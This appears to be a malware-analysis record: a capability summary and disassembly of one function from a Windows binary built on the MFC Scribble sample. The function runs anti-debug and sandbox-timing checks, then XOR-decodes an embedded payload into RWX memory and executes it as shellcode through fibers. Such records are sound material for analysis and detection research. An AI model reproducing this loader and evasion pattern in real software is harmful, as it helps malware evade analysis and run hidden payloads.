Function at 0x41dd60
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows fibers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d4dd0
mov eax, dword fs:[0]
push eax
sub esp, 0x514
mov eax, dword [0x541530]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x51c], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x4e2540
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.NtQueryInformationProcess
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 4
lea ecx, [ebp - 0x518]
push ecx
push 7
push esi
call eax
test eax, eax
jne 0x41ddda
cmp dword [ebp - 0x518], eax
jne 0x41e016
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x400
call esi
push 0
call esi
cmp eax, 0x400
jne 0x41e00f
push str.yes_oos_n
call fcn.00402428
add esp, 4
call fcn.004039bd
push 0x7d0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004039bd
sub eax, esi
cmp eax, 0x7d0
jge 0x41de30
push 0
push str.calc.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
lea eax, [ebp - 0x51c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
sub esp, 0x18
mov edx, esp
mov esi, dword [eax]
mov ecx, esi
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41de64
sub ecx, edi
sar ecx, 1
push ecx
push esi
mov ecx, edx
call fcn.00401186
call fcn.004036ed
add esp, 0x18
push 0
call dword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
push 0x40
push 0x3000
push 0x33008
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
movaps xmm2, xmmword [0x4e25f0]
mov esi, eax
movaps xmm3, xmmword [0x4e2630]
xor ecx, ecx
movups xmm0, xmmword [ecx + 0x504028]
movaps xmm1, xmm2
pxor xmm0, xmm2
pandn xmm0, xmm3
movups xmmword [ecx + 0x504028], xmm0
movups xmm0, xmmword [ecx + 0x504038]
pxor xmm1, xmm0
pandn xmm1, xmm3
movups xmmword [ecx + 0x504038], xmm1
movups xmm0, xmmword [ecx + 0x504048]
pxor xmm0, xmm2
pandn xmm0, xmm3
movups xmmword [ecx + 0x504048], xmm0
movups xmm0, xmmword [ecx + 0x504058]
pxor xmm0, xmm2
pandn xmm0, xmm3
movups xmmword [ecx + 0x504058], xmm0
add ecx, 0x40
cmp ecx, 0x33000
jb 0x41deb2
cmp ecx, 0x33008
jae 0x41df39
mov al, byte [ecx + 0x504028]
xor al, 3
not al
mov byte [ecx + 0x504028], al
inc ecx
cmp ecx, 0x33008
jb 0x41df20
push 0x33008
push 0x504028
push esi
call fcn.00405f9c
add esp, 0xc
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateFiber]
push eax
call dword [sym.imp.KERNEL32.dll_SwitchToFiber]
lea ecx, [ebp - 0x514]
mov dword [ebp - 4], 0
call fcn.00401f32
mov eax, dword [ebp - 0x514]
lea ecx, [ebp - 0x514]
mov byte [ebp - 4], 1
mov eax, dword [eax + 0xc]
call eax
test eax, eax
je 0x41df9e
mov eax, dword [ebp - 0x514]
lea ecx, [ebp - 0x514]
mov eax, dword [eax + 0x10]
call eax
mov esi, eax
jmp 0x41dfa9
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_PostQuitMessage]
or esi, 0xffffffff
lea ecx, [ebp - 0x44c]
mov dword [ebp - method.CScribbleApp.virtual_0], vtable.CScribbleApp.0
call fcn.00405795
lea ecx, [ebp - 0x514]
call fcn.004027bb
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004033eb
mov esp, ebp
pop ebp
ret 0x10
push str.oos_n
jmp 0x41e01b
push str.yes_ss_n
call fcn.00402428
add esp, 4
push 0
push str.calc.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.0040559c
int3